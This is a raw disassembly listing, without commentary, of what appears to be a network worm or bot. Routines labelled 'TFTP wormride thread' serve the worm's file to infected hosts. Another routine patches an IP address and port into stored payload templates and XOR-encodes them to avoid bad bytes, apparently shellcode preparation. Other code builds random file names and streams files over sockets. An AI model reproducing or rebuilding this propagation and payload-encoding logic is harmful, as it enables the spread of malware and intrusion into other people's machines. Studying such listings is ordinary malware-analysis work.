					; sub_411DC5+20Ej
		xor	eax, eax
		test	eax, eax
		jnz	short loc_411F7E
		lea	eax, [ebp+var_B64]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+var_B5C]
		push	eax
		push	0
		call	dword_41722C	; select
		test	eax, eax
		jle	loc_4123B8
		mov	[ebp+var_D84], 10h
		mov	al, byte_41DE30
		mov	[ebp+var_D70], al
		mov	ecx, 80h
		xor	eax, eax
		lea	edi, [ebp+var_D6F]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_D84]
		push	eax
		lea	eax, [ebp+var_D80]
		push	eax
		push	0
		push	80h
		lea	eax, [ebp+var_19C]
		push	eax
		push	[ebp+var_108]
		call	dword_417258	; recvfrom
		mov	[ebp+var_B6C], eax
		cmp	[ebp+var_B6C], 0
		jz	short loc_412084
		cmp	[ebp+var_B6C], 0FFFFFFFFh
		jnz	short loc_412089

loc_412084:				; CODE XREF: sub_411DC5+2B4j
		jmp	loc_411F66
; ---------------------------------------------------------------------------

loc_412089:				; CODE XREF: sub_411DC5+2BDj
		movsx	eax, [ebp+var_19C]
		test	eax, eax
		jnz	loc_4121C0
		movsx	eax, [ebp+var_19B]
		cmp	eax, 1
		jnz	loc_4121C0
		lea	eax, [ebp+var_19C]
		mov	[ebp+var_D88], eax
		lea	eax, [ebp+var_19C]
		mov	[ebp+var_D8C], eax
		mov	eax, [ebp+var_D88]
		inc	eax
		inc	eax
		mov	[ebp+var_D88], eax
		mov	eax, [ebp+var_D8C]
		inc	eax
		inc	eax
		mov	[ebp+var_D8C], eax
		push	[ebp+var_D8C]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_D8C]
		lea	eax, [ecx+eax+1]
		mov	[ebp+var_D8C], eax
		push	offset aOctet	; "octet"
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		push	[ebp+var_D8C]
		push	offset aOctet	; "octet"
		call	sub_416BF0	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41213F
		push	[ebp+var_D84]
		lea	eax, [ebp+var_D80]
		push	eax
		push	0
		push	13h
		push	offset dword_41C76C
		push	[ebp+var_108]
		call	dword_417250	; sendto
		jmp	short loc_4121BB
; ---------------------------------------------------------------------------

loc_41213F:				; CODE XREF: sub_411DC5+354j
		push	0
		push	0
		push	[ebp+var_10C]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		and	[ebp+var_D70], 0
		mov	[ebp+var_D6F], 3
		and	[ebp+var_D6E], 0
		mov	[ebp+var_D6D], 1
		push	[ebp+var_10C]
		push	200h
		push	1
		lea	eax, [ebp+var_D6C]
		push	eax
		call	sub_416B90	; fread
		add	esp, 10h
		mov	[ebp+var_D90], eax
		push	[ebp+var_D84]
		lea	eax, [ebp+var_D80]
		push	eax
		push	0
		mov	eax, [ebp+var_D90]
		add	eax, 4
		push	eax
		lea	eax, [ebp+var_D70]
		push	eax
		push	[ebp+var_108]
		call	dword_417250	; sendto

loc_4121BB:				; CODE XREF: sub_411DC5+378j
		jmp	loc_4123B8
; ---------------------------------------------------------------------------

loc_4121C0:				; CODE XREF: sub_411DC5+2CDj
					; sub_411DC5+2DDj
		movsx	eax, [ebp+var_19C]
		test	eax, eax
		jnz	loc_412396
		movsx	eax, [ebp+var_19B]
		cmp	eax, 4
		jnz	loc_412396
		mov	al, [ebp+var_19A]
		mov	[ebp+var_DA0], al
		mov	al, [ebp+var_199]
		mov	[ebp+var_D98], al
		and	[ebp+var_D70], 0
		mov	[ebp+var_D6F], 3
		movzx	eax, [ebp+var_D98]
		cmp	eax, 0FFh
		jnz	short loc_412242
		mov	al, [ebp+var_DA0]
		add	al, 1
		mov	[ebp+var_DA0], al
		mov	al, [ebp+var_DA0]
		mov	[ebp+var_D6E], al
		and	[ebp+var_D98], 0
		mov	al, [ebp+var_D98]
		mov	[ebp+var_D6D], al
		jmp	short loc_412268
; ---------------------------------------------------------------------------

loc_412242:				; CODE XREF: sub_411DC5+44Cj
		mov	al, [ebp+var_DA0]
		mov	[ebp+var_D6E], al
		mov	al, [ebp+var_D98]
		add	al, 1
		mov	[ebp+var_D98], al
		mov	al, [ebp+var_D98]
		mov	[ebp+var_D6D], al

loc_412268:				; CODE XREF: sub_411DC5+47Bj
		movzx	eax, [ebp+var_DA0]
		shl	eax, 8
		movzx	ecx, [ebp+var_D98]
		lea	eax, [eax+ecx-1]
		mov	[ebp+var_D9C], eax
		push	0
		mov	eax, [ebp+var_D9C]
		shl	eax, 9
		push	eax
		push	[ebp+var_10C]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_10C]
		push	200h
		push	1
		lea	eax, [ebp+var_D6C]
		push	eax
		call	sub_416B90	; fread
		add	esp, 10h
		mov	[ebp+var_D94], eax
		push	[ebp+var_D84]
		lea	eax, [ebp+var_D80]
		push	eax
		push	0
		mov	eax, [ebp+var_D94]
		add	eax, 4
		push	eax
		lea	eax, [ebp+var_D70]
		push	eax
		push	[ebp+var_108]
		call	dword_417250	; sendto
		cmp	[ebp+var_D94], 0
		jnz	loc_412394
		mov	eax, [ebp+var_D9C]
		shl	eax, 9
		cmp	eax, [ebp+var_4]
		jb	loc_412394
		mov	eax, [ebp+var_D7C]
		mov	[ebp+var_DA8], eax
		push	[ebp+var_DA8]
		push	offset dword_41EB10
		call	sub_409C9D
		pop	ecx
		pop	ecx
		mov	[ebp+var_DA4], eax
		mov	eax, [ebp+var_DA4]
		cmp	eax, [ebp+var_DA8]
		jz	short loc_412394
		push	1
		push	offset dword_41EB14
		call	sub_409C88
		pop	ecx
		pop	ecx
		mov	[ebp+var_DAC], eax
		push	10h
		push	[ebp+var_D7C]
		call	dword_41721C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_11C]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_11C]
		push	eax
		mov	eax, [ebp+var_DAC]
		inc	eax
		push	eax
		push	offset aWormride ; "wormride"
		push	offset unk_41C730
		push	offset dword_41DAB4
		call	sub_40D4AB
		add	esp, 14h

loc_412394:				; CODE XREF: sub_411DC5+52Dj
					; sub_411DC5+53Fj ...
		jmp	short loc_4123B8
; ---------------------------------------------------------------------------

loc_412396:				; CODE XREF: sub_411DC5+404j
					; sub_411DC5+414j
		push	[ebp+var_D84]
		lea	eax, [ebp+var_D80]
		push	eax
		push	0
		push	9
		push	offset dword_41C724
		push	[ebp+var_108]
		call	dword_417250	; sendto

loc_4123B8:				; CODE XREF: sub_411DC5+252j
					; sub_411DC5:loc_4121BBj ...
		mov	eax, [ebp+var_358]
		cmp	dword ptr [eax+4], 0
		jz	short loc_4123C6
		jmp	short loc_4123CB
; ---------------------------------------------------------------------------

loc_4123C6:				; CODE XREF: sub_411DC5+5FDj
		jmp	loc_411F66
; ---------------------------------------------------------------------------

loc_4123CB:				; CODE XREF: sub_411DC5+5FFj
		push	[ebp+var_10C]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_108]
		call	dword_417230	; closesocket
		push	[ebp+var_358]
		call	sub_409763
		pop	ecx
		xor	eax, eax

loc_4123F1:				; CODE XREF: sub_411DC5+53j
					; sub_411DC5+F8j ...
		pop	edi
		leave
		retn	4
sub_411DC5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4123F6	proc near		; CODE XREF: sub_40A9CF+726p
					; sub_40A9CF+742p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_412410
		jmp	short locret_412446
; ---------------------------------------------------------------------------

loc_412410:				; CODE XREF: sub_4123F6+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aTftpWormrideTh ; "TFTP wormride	thread"
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_4]
		push	offset sub_411DC5
		call	sub_4095A4
		add	esp, 10h

locret_412446:				; CODE XREF: sub_4123F6+18j
		leave
		retn
sub_4123F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412448	proc near		; CODE XREF: sub_4125DF+88p
					; sub_4125DF+ADp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_41245A
; ---------------------------------------------------------------------------

loc_412453:				; CODE XREF: sub_412448:loc_41249Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_41245A:				; CODE XREF: sub_412448+9j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_4]
		jnb	short loc_41249C
		and	[ebp+var_8], 0
		jmp	short loc_41246F
; ---------------------------------------------------------------------------

loc_412468:				; CODE XREF: sub_412448:loc_412498j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax

loc_41246F:				; CODE XREF: sub_412448+1Ej
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_C]
		jnb	short loc_41249A
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		movsx	ecx, [ebp+arg_10]
		xor	eax, ecx
		mov	ecx, [ebp+arg_8]
		add	ecx, [ebp+var_8]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jnz	short loc_412498
		push	1
		pop	eax
		jmp	short locret_41249E
; ---------------------------------------------------------------------------

loc_412498:				; CODE XREF: sub_412448+49j
		jmp	short loc_412468
; ---------------------------------------------------------------------------

loc_41249A:				; CODE XREF: sub_412448+2Dj
		jmp	short loc_412453
; ---------------------------------------------------------------------------

loc_41249C:				; CODE XREF: sub_412448+18j
		xor	eax, eax

locret_41249E:				; CODE XREF: sub_412448+4Ej
		leave
		retn
sub_412448	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4124A0	proc near		; CODE XREF: sub_4125DF+36p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		and	[ebp+var_4], 0
		and	[ebp+var_10], 0
		and	[ebp+var_8], 0
		and	[ebp+var_C], 0
		cmp	[ebp+arg_8], 1
		jnz	short loc_41250C
		cmp	[ebp+arg_4], 0B2h
		jnb	short loc_4124CC
		xor	eax, eax
		jmp	locret_4125DD
; ---------------------------------------------------------------------------

loc_4124CC:				; CODE XREF: sub_4124A0+23j
		mov	[ebp+var_C], 0B2h
		push	[ebp+var_C]
		push	offset dword_41C964
		push	[ebp+arg_0]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		add	eax, 8Fh
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		add	eax, 88h
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_0]
		add	eax, 0ACh
		mov	[ebp+var_8], eax
		jmp	loc_41259C
; ---------------------------------------------------------------------------

loc_41250C:				; CODE XREF: sub_4124A0+1Aj
		cmp	[ebp+arg_8], 2
		jnz	short loc_412554
		cmp	[ebp+arg_4], 0C6h
		jnb	short loc_412522
		xor	eax, eax
		jmp	locret_4125DD
; ---------------------------------------------------------------------------

loc_412522:				; CODE XREF: sub_4124A0+79j
		mov	[ebp+var_C], 0C6h
		push	[ebp+var_C]
		push	offset dword_41C89C
		push	[ebp+arg_0]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		add	eax, 89h
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_0]
		add	eax, 0C0h
		mov	[ebp+var_8], eax
		jmp	short loc_41259C
; ---------------------------------------------------------------------------

loc_412554:				; CODE XREF: sub_4124A0+70j
		cmp	[ebp+arg_4], 0B2h
		jnb	short loc_412561
		xor	eax, eax
		jmp	short locret_4125DD
; ---------------------------------------------------------------------------

loc_412561:				; CODE XREF: sub_4124A0+BBj
		mov	[ebp+var_C], 0B2h
		push	[ebp+var_C]
		push	offset dword_41C7E8
		push	[ebp+arg_0]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		add	eax, 86h
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		add	eax, 8Dh
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_0]
		add	eax, 0ACh
		mov	[ebp+var_8], eax

loc_41259C:				; CODE XREF: sub_4124A0+67j
					; sub_4124A0+B2j
		cmp	[ebp+var_4], 0
		jz	short loc_4125B0
		push	[ebp+arg_C]
		call	dword_417244	; inet_addr
		mov	ecx, [ebp+var_4]
		mov	[ecx], eax

loc_4125B0:				; CODE XREF: sub_4124A0+100j
		cmp	[ebp+var_10], 0
		jz	short loc_4125CC
		push	[ebp+arg_10]
		call	sub_416B9C	; atoi
		pop	ecx
		push	eax
		call	dword_417238	; htons
		mov	ecx, [ebp+var_10]
		mov	[ecx], ax

loc_4125CC:				; CODE XREF: sub_4124A0+114j
		cmp	[ebp+var_8], 0
		jz	short loc_4125DA
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_14]
		mov	[eax], ecx

loc_4125DA:				; CODE XREF: sub_4124A0+130j
		mov	eax, [ebp+var_C]

locret_4125DD:				; CODE XREF: sub_4124A0+27j
					; sub_4124A0+7Dj ...
		leave
		retn
sub_4124A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4125DF	proc near		; CODE XREF: sub_410649+8Bp
					; sub_410B52+41p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		cmp	[ebp+arg_4], 1Ch
		jnb	short loc_4125F2
		xor	eax, eax
		jmp	locret_41271E
; ---------------------------------------------------------------------------

loc_4125F2:				; CODE XREF: sub_4125DF+Aj
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_0]
		add	eax, 1Ch
		mov	[ebp+var_4], eax
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1E4h
		push	[ebp+var_4]
		call	sub_4124A0
		add	esp, 18h
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_41262D
		xor	eax, eax
		jmp	locret_41271E
; ---------------------------------------------------------------------------

loc_41262D:				; CODE XREF: sub_4125DF+45j
		push	1Ch
		push	offset loc_41C7C8
		push	[ebp+var_10]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, dword_41CB98
		mov	[ebp+var_8], eax
		jmp	short loc_412659
; ---------------------------------------------------------------------------

loc_412649:				; CODE XREF: sub_4125DF+94j
					; sub_4125DF:loc_41269Aj
		call	sub_410422
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		mov	dword_41CB98, eax

loc_412659:				; CODE XREF: sub_4125DF+68j
		push	0
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	4
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_412448
		add	esp, 14h
		test	eax, eax
		jz	short loc_412675
		jmp	short loc_412649
; ---------------------------------------------------------------------------

loc_412675:				; CODE XREF: sub_4125DF+92j
		mov	eax, [ebp+var_14]
		xor	eax, [ebp+var_8]
		mov	[ebp+var_1C], eax
		push	0
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	4
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_412448
		add	esp, 14h
		test	eax, eax
		jnz	short loc_41269A
		jmp	short loc_41269C
; ---------------------------------------------------------------------------

loc_41269A:				; CODE XREF: sub_4125DF+B7j
		jmp	short loc_412649
; ---------------------------------------------------------------------------

loc_41269C:				; CODE XREF: sub_4125DF+B9j
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		mov	[eax+3], ecx
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_1C]
		mov	[eax+9], ecx
		mov	al, byte_41CB95
		mov	byte ptr [ebp+var_C], al
		jmp	short loc_4126C8
; ---------------------------------------------------------------------------

loc_4126B8:				; CODE XREF: sub_4125DF+104j
		call	sub_410461
		mov	byte ptr [ebp+var_C], al
		mov	al, byte ptr [ebp+var_C]
		mov	byte_41CB95, al

loc_4126C8:				; CODE XREF: sub_4125DF+D7j
		push	[ebp+var_C]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_14]
		push	[ebp+var_4]
		call	sub_412448
		add	esp, 14h
		test	eax, eax
		jz	short loc_4126E5
		jmp	short loc_4126B8
; ---------------------------------------------------------------------------

loc_4126E5:				; CODE XREF: sub_4125DF+102j
		mov	eax, [ebp+var_10]
		mov	cl, byte ptr [ebp+var_C]
		mov	[eax+12h], cl
		and	[ebp+var_18], 0
		jmp	short loc_4126FB
; ---------------------------------------------------------------------------

loc_4126F4:				; CODE XREF: sub_4125DF+137j
		mov	eax, [ebp+var_18]
		inc	eax
		mov	[ebp+var_18], eax

loc_4126FB:				; CODE XREF: sub_4125DF+113j
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_14]
		jnb	short loc_412718
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_18]
		mov	al, [eax]
		xor	al, byte ptr [ebp+var_C]
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_18]
		mov	[ecx], al
		jmp	short loc_4126F4
; ---------------------------------------------------------------------------

loc_412718:				; CODE XREF: sub_4125DF+122j
		mov	eax, [ebp+var_14]
		add	eax, 1Ch

locret_41271E:				; CODE XREF: sub_4125DF+Ej
					; sub_4125DF+49j
		leave
		retn
sub_4125DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412720	proc near		; CODE XREF: sub_412A3A+Cp
					; sub_412BC9+DFp ...

var_194		= dword	ptr -194h
var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_E4		= byte ptr -0E4h
var_10		= byte ptr -10h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 194h
		push	8
		push	4
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_194], eax
		and	[ebp+var_190], 0

loc_412741:				; CODE XREF: sub_412720:loc_41278Aj
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_190]
		mov	[ebp+ecx+var_10], al
		mov	eax, [ebp+var_190]
		inc	eax
		mov	[ebp+var_190], eax
		mov	eax, [ebp+var_190]
		cmp	eax, [ebp+var_194]
		jnz	short loc_41278A
		push	offset dword_418620
		mov	eax, [ebp+var_190]
		lea	eax, [ebp+eax+var_10]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_41278C
; ---------------------------------------------------------------------------

loc_41278A:				; CODE XREF: sub_412720+4Fj
		jmp	short loc_412741
; ---------------------------------------------------------------------------

loc_41278C:				; CODE XREF: sub_412720+68j
		push	17Ch
		push	offset dword_41CA18
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_E4]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	17Ch
		lea	eax, [ebp+var_18C]
		push	eax
		push	[ebp+arg_0]
		call	sub_4053BF
		add	esp, 0Ch
		leave
		retn
sub_412720	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4127D0	proc near		; CODE XREF: sub_412A3A+14Dp
					; sub_412BC9+133p ...

var_24C		= byte ptr -24Ch
var_22C		= byte ptr -22Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		cmp	dword_41EB1C, 0
		jnz	loc_4128A0
		mov	dword_41EB1C, 1
		and	[ebp+var_20C], 0
		jmp	short loc_412806
; ---------------------------------------------------------------------------

loc_4127F9:				; CODE XREF: sub_4127D0:loc_41289Bj
		mov	eax, [ebp+var_20C]
		inc	eax
		mov	[ebp+var_20C], eax

loc_412806:				; CODE XREF: sub_4127D0+27j
		mov	eax, [ebp+var_20C]
		imul	eax, 0Ch
		cmp	off_41DA68[eax], 0
		jz	loc_4128A0
		push	20h
		mov	eax, [ebp+var_20C]
		imul	eax, 0Ch
		push	off_41DA68[eax]
		lea	eax, [ebp+var_22C]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	20h
		mov	eax, [ebp+var_20C]
		imul	eax, 0Ch
		push	off_41CBA0[eax]
		lea	eax, [ebp+var_24C]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_22C]
		push	eax
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_24C]
		push	eax
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_24C]
		push	eax
		lea	eax, [ebp+var_22C]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41289B
		mov	dword_41EB20, 1
		jmp	short loc_4128A0
; ---------------------------------------------------------------------------

loc_41289B:				; CODE XREF: sub_4127D0+BDj
		jmp	loc_4127F9
; ---------------------------------------------------------------------------

loc_4128A0:				; CODE XREF: sub_4127D0+10j
					; sub_4127D0+46j ...
		cmp	dword_41EB20, 0
		jz	short loc_4128AE
		push	1
		pop	eax
		jmp	short locret_412917
; ---------------------------------------------------------------------------

loc_4128AE:				; CODE XREF: sub_4127D0+D7j
		push	offset aRb	; "rb"
		push	offset dword_41EC40
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_4128CC
		xor	eax, eax
		jmp	short locret_412917
; ---------------------------------------------------------------------------

loc_4128CC:				; CODE XREF: sub_4127D0+F6j
		and	[ebp+var_4], 0

loc_4128D0:				; CODE XREF: sub_4127D0+145j
		push	[ebp+var_8]
		push	200h
		push	1
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_416B90	; fread
		add	esp, 10h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_412900
		push	[ebp+var_8]
		call	sub_416B82	; fclose
		pop	ecx
		push	1
		pop	eax
		jmp	short locret_412917
; ---------------------------------------------------------------------------

loc_412900:				; CODE XREF: sub_4127D0+120j
		push	[ebp+var_4]
		lea	eax, [ebp+var_208]
		push	eax
		push	[ebp+arg_0]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	short loc_4128D0
; ---------------------------------------------------------------------------

locret_412917:				; CODE XREF: sub_4127D0+DCj
					; sub_4127D0+FAj ...
		leave
		retn
sub_4127D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412919	proc near		; CODE XREF: sub_412BC9+E8p
					; sub_412D56+18p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	0EA60h
		push	[ebp+arg_0]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_412938
		xor	eax, eax
		jmp	short locret_41294C
; ---------------------------------------------------------------------------

loc_412938:				; CODE XREF: sub_412919+19j
		push	0
		push	4
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	dword_417248	; recv
		mov	eax, [ebp+var_4]

locret_41294C:				; CODE XREF: sub_412919+1Dj
		leave
		retn
sub_412919	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41294E	proc near		; CODE XREF: sub_412BC9+115p
					; sub_412D56+3Bp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0
		jmp	short loc_412964
; ---------------------------------------------------------------------------

loc_41295D:				; CODE XREF: sub_41294E:loc_4129C3j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax

loc_412964:				; CODE XREF: sub_41294E+Dj
		mov	eax, [ebp+var_8]
		imul	eax, 3Ah
		cmp	off_41CCFE[eax], 0
		jz	short loc_4129C5
		mov	eax, [ebp+var_8]
		imul	eax, 3Ah
		mov	eax, dword_41CCF6[eax]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_4129C3
		mov	eax, [ebp+var_8]
		imul	eax, 3Ah
		add	eax, offset byte_41CCD0
		mov	[ebp+var_4], eax
		push	3Ah
		mov	eax, [ebp+var_8]
		imul	eax, 3Ah
		add	eax, offset byte_41CCD0
		push	eax
		push	[ebp+arg_4]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 13h
		push	eax
		call	sub_4105FB
		pop	ecx
		jmp	short loc_4129C5
; ---------------------------------------------------------------------------

loc_4129C3:				; CODE XREF: sub_41294E+34j
		jmp	short loc_41295D
; ---------------------------------------------------------------------------

loc_4129C5:				; CODE XREF: sub_41294E+23j
					; sub_41294E+73j
		mov	eax, [ebp+var_4]
		leave
		retn
sub_41294E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4129CA	proc near		; CODE XREF: sub_412A3A+16Bp
					; sub_412BC9+15Ap ...

var_104		= dword	ptr -104h
var_100		= byte ptr -100h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	1
		mov	eax, [ebp+arg_0]
		add	eax, 2Ah
		push	eax
		call	sub_409C88
		pop	ecx
		pop	ecx
		mov	[ebp+var_104], eax
		lea	eax, [ebp+var_100]
		push	eax
		push	[ebp+arg_8]
		call	sub_4044F7
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_412A11
		push	offset aUnknown	; "unknown"
		lea	eax, [ebp+var_100]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx

loc_412A11:				; CODE XREF: sub_4129CA+32j
		lea	eax, [ebp+var_100]
		push	eax
		mov	eax, [ebp+var_104]
		inc	eax
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	offset dword_41A1D0
		push	offset dword_41DAB4
		call	sub_40D4AB
		add	esp, 18h
		leave
		retn
sub_4129CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412A3A	proc near		; CODE XREF: sub_41331E+148p

var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= byte ptr -248h
var_235		= byte ptr -235h
var_222		= dword	ptr -222h
var_20C		= dword	ptr -20Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 250h
		push	[ebp+arg_4]
		call	sub_412720
		pop	ecx
		push	3Ah
		push	[ebp+arg_0]
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_235]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_20C+3]
		mov	[ebp+var_8], eax
		push	203h
		push	0
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		and	[ebp+var_4], 0
		jmp	short loc_412AA6
; ---------------------------------------------------------------------------

loc_412A9F:				; CODE XREF: sub_412A3A+8Aj
					; sub_412A3A:loc_412B7Fj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_412AA6:				; CODE XREF: sub_412A3A+63j
		cmp	[ebp+var_4], 3Ch
		jnz	short loc_412AB1
		jmp	locret_412BC7
; ---------------------------------------------------------------------------

loc_412AB1:				; CODE XREF: sub_412A3A+70j
		push	3E8h
		push	[ebp+arg_4]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_412AC6
		jmp	short loc_412A9F
; ---------------------------------------------------------------------------

loc_412AC6:				; CODE XREF: sub_412A3A+88j
		push	200h
		push	[ebp+var_8]
		push	[ebp+arg_4]
		call	sub_4053DC
		add	esp, 0Ch
		mov	[ebp+var_24C], eax
		cmp	[ebp+var_24C], 0FFFFFFFFh
		jnz	short loc_412AED
		jmp	locret_412BC7
; ---------------------------------------------------------------------------

